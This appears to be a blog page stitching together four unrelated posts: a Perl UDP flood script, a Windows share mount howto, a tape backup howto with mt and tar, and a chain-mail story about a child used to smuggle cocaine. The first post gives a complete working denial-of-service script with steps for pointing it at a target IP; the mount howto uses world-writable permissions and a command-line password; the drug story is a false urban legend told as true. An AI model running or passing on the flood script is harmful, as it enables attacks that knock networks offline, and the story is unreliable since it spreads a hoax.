Have u ever wonder how your network devices(s) behavior in stress state?
Try follow this simple steps to make UDP Flood :

2. chmod +x /tmp/udpflood.pl
3. copy & paste this to ur udpflood.pl script :

#!/usr/bin/perl

##############
# udp flood.
##############

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl \n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

4. exec ur script with /tmp/udpflood.pl 192.168.1.1 0 0 0 --> where 192.168.1.1 is ur target IP

Happy Flooding ;)

mount win2k ntfs

This is my documented on how to mount networked win2k shared folder using linux.
In my case i'm using centos5.



On your linux box, as root :

create a mountpoint for your windows

mkdir /mnt/win2k

change owner/permission to your mountpoint

chmod 777 /mnt/win2k

mount your desired win2k folder to your mountpoint

mount -t cifs -o username=[win2k user], password=[win2k passwd], workgroup=[win2k workgroup] //[win2k ip or hostname] /mnt/win2k --verbose


Just change the [in bracket arg] with your own.

Hepi mounting :)

Linux tape backup with mt and tar command - howto

Magnetic tape is a non-volatile storage medium consisting of a magnetic coating on a thin plastic strip. Nearly all recording tape is of this type, whether used for video, audio storage or general purpose digital data storage using a computer.

Linux (and other Unixish system) use mt command to control magnetic tape drive operation. You need to use mt command while working with tape drive. It allows you to reading and writing to tape.

The default tape drive under Linux is /dev/st0 (first SCSI tape device name). You can read more about tape drives naming convention used under Linux here. Following paragraph summaries command you need to use control tape drive for backup/restore purpose.

Rewind tape drive:
# mt -f /dev/st0 rewind

Backup directory /www and /home with tar command (z - compressed):
# tar -czf /dev/st0 /www /home

Find out what block you are at with mt command:
# mt -f /dev/st0 tell

Display list of files on tape drive:
# tar -tzf /dev/st0

Restore /www directory:
# cd /
# mt -f /dev/st0 rewind
# tar -xzf /dev/st0 www

Unload the tape:
# mt -f /dev/st0 offline

Display status information about the tape unit:
# mt -f /dev/st0 status

Erase the tape:
# mt -f /dev/st0 erase

You can go BACKWARD or FORWARD on tape with mt command itself:

(a) Go to end of data:
# mt -f /dev/nst0 eod

(b) Goto previous record:
# mt -f /dev/nst0 bsfm 1

(c) Forward record:
# mt -f /dev/nst0 fsf 1


* Replace /dev/st0 with your actual tape drive name.

How They Hide Drugs

This story is extremely sad. A lady, with her husband, was planning a weekend trip across the Mexican border for a shopping spree. At the last minute their baby sitter canceled, so they had to bring along their two-year-old son with them. They had been across the border for about an hour when the baby got free and ran around the corner. The mother went chasing but the boy had disappeared. The mother found a police officer that told her to go to the gate and wait. Not really understanding the instructions, she did as she was told. About 45 minutes later, a man approached the border carrying the boy. The mother ran to him, grateful that he had been found. When the man realized it was the boy's mother, he dropped the boy and ran. The police were waiting and got him. The boy was dead. In the (less than) 45 minutes he was missing, he was cut open and all of his insides removed and his body cavity stuffed with COCAINE. The man was going to carry him across the border as if he were asleep. A two-year-old boy, dead, is carded as if he were a piece of trash for somebody's cocaine. If this story can get out and change one person's mind about what drugs mean to them, we are helping.
